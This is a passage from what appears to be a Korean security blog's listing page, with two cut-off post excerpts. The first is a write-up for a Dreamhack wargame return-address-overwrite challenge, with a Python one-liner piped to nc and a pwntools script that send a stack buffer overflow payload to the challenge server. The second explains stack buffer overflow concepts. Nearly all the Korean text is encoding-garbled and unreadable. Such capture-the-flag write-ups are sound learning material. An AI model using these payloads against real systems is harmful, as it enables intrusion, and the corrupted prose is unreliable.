songining
article thumbnail
[dreamhack] Return Address Overwrite ํ’€์ด
Hacking/System Hacking 2022. 3. 31. 16:44

Host: host1.dreamhack.games Port: 10469/tcp 1. python ๊ณต๊ฒฉ ์ฝ”๋“œ ์ด์šฉ (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools ์ด์šฉ from pwn import * p = remote('host1.dreamhack.games',10469) # ์›๊ฒฉ ์„œ๋ฒ„ ๋Œ€์ƒ์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ์ˆ˜ํ–‰ context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_..

article thumbnail
์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ( Stack buffer Overflow )
Hacking/System Hacking 2022. 3. 31. 01:39

์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ VS ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ : ์Šคํƒ์˜์—ญ์ด ๋„ˆ๋ฌด ๋งŽ์ด ํ™•์žฅ๋ผ์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„๊ทธ ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ : ์Šคํƒ์— ์œ„์น˜ํ•œ ๋ฒ„ํผ์— ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ณด๋‹ค ๋งŽ์€ ๋ฐ์ดํ„ฐ๊ฐ€ ์ž…๋ ฅ๋˜์–ด ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„๊ทธ (์Šคํƒ์˜ ๋ฒ„ํผ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ) ๋ฒ„ํผ(buffer)๋ž€? ๋ฐ์ดํ„ฐ๊ฐ€ ๋ชฉ์ ์ง€๋กœ ์ด๋™๋˜๊ธฐ ์ „์— ๋ณด๊ด€๋˜๋Š” ์ž„์‹œ ์ €์žฅ์†Œ ์Šคํƒ ๋ฒ„ํผ : ์Šคํƒ์— ์žˆ๋Š” ์ง€์—ญ๋ณ€์ˆ˜ ํž™ ๋ฒ„ํผ : ํž™์— ํ• ๋‹น๋œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ Ex1) ๋ฐ์ดํ„ฐ ๋ณ€์กฐ - ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์ธํ•ด ๋’ค์˜ ๋ฐ์ดํ„ฐ ๊ฐ’์„ ๋ณ€์กฐ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค. Ex2) ๋ฐ์ดํ„ฐ ์œ ์ถœ c์–ธ์–ด์—์„œ ๋ฌธ์ž์—ด์˜ ๋์„ null๋กœ ์ธ์‹ํ•˜๋Š”๋ฐ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด null์„ ์—†์• ์ฃผ๋ฉด ๋’ค์˜ ๋ฐ์ดํ„ฐ๊นŒ์ง€ ํ•จ๊ป˜ ์ฝ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค. Ex3) ์‹คํ–‰ํ๋ฆ„์กฐ์ž‘ ์˜ˆ๋ฅผ ๋“ค๋ฉด ํ•จ์ˆ˜์˜ ret์— ์ž์‹ ์ด ์‹คํ–‰ํ•˜๊ณ  ์‹ถ์€ ๋ช…๋ น..